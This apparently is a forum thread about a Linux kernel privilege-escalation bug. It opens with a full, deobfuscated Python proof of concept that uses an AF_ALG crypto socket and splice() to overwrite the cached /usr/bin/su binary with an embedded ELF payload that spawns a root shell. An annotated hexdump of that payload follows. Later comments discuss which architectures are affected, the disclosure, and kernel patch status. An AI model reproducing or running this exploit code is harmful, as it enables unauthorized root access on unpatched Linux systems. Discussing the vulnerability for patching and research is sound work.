here's my attempt at deobfuscating it:

#!/usr/bin/env python3

import os
from ctypes import c_int32 as i32, c_char as char
import zlib
import socket as s


def inject(file, offset, data):
    # connect to kernel crypto system's aeda endpoint
    sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET)
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
 
    # set cipher key and tag size, then wait for the system to be ready
    sock.setsockopt(s.SOL_ALG, s.ALG_SET_KEY, (char * 68)(8, 0, 1, 0, 0, 0, 0, 16))
    sock.setsockopt(s.SOL_ALG, s.ALG_SET_AEAD_AUTHSIZE, None, optlen=4)
    conn, _ = sock.accept()
 
    # pass in configuration
    conn.sendmsg(
        [b"AAAA" + data],  # pad to tag size
        [
            (s.SOL_ALG, s.ALG_SET_OP, i32(s.ALG_OP_DECRYPT)),  # set operation
            (s.SOL_ALG, s.ALG_SET_IV, (char * 20)(16)),    # set init vector
            (s.SOL_ALG, s.ALG_SET_AEAD_ASSOCLEN, i32(8)),  # set associated data length
        ],
        s.MSG_MORE,
    )

    # move file through a pipe to the connection without copying
    r, w = os.pipe()
    os.splice(file, w, offset + 4, offset_src=0)
    os.splice(r, conn.fileno(), offset + 4)
    try:
        conn.recv(8 + offset)
    except:
        pass


binary = os.open("/usr/bin/su", os.O_RDONLY)
offset = 0
payload = zlib.decompress(
    bytes.fromhex(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301"
        "d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96"
        "75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    )
)

while offset < len(payload):
    inject(binary, offset, payload[offset : offset + 4])
    offset += 4

os.system("su")

as far as i understand the writeup, the weakness is in the splice() function, because it silently crosses an auth boundary. the payload looks like this:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............ # ELF x86-64 v1, executable
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  [email protected]......... # contains 1 56-bit program header
00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................ # program header starts
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000  ................ # flags r-x
00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05  ........1.1..i.. # program starts
00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531  H.=....1.j;X...1
00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000  .j<X../bin/sh...

it's an ELF header that replaces the one on the cached version of the binary (su in this case).

Edit: came back to this because i realized i had the wrong flags. the values were right but they were for the wrong socket type.

There usually isn't a su binary installed on non-rooted Androids. If you're rooting it yourself anyways, there's no need to use the exploit.

Apparently this exact PoC only works on x86. You'd need to find an ARM version

https://xint.io/blog/copy-fail-linux-distributions

according to this (good) blog post the disclosure to the linux kernel security team was already like a month ago so i would imagine the fix is already on a lot of systems

If your system is up-to-date, your kernel has probably already been patched. The patch was added to mainline on April 1, and I think every major distribution will have added it by now.

same, Kubuntu 26.04 asks for my password when running the exploit script

Automated test suites became so good, many regular people can just use rolling release distros these days.

What I read said the patch was merged into main on April 1st, so they should have.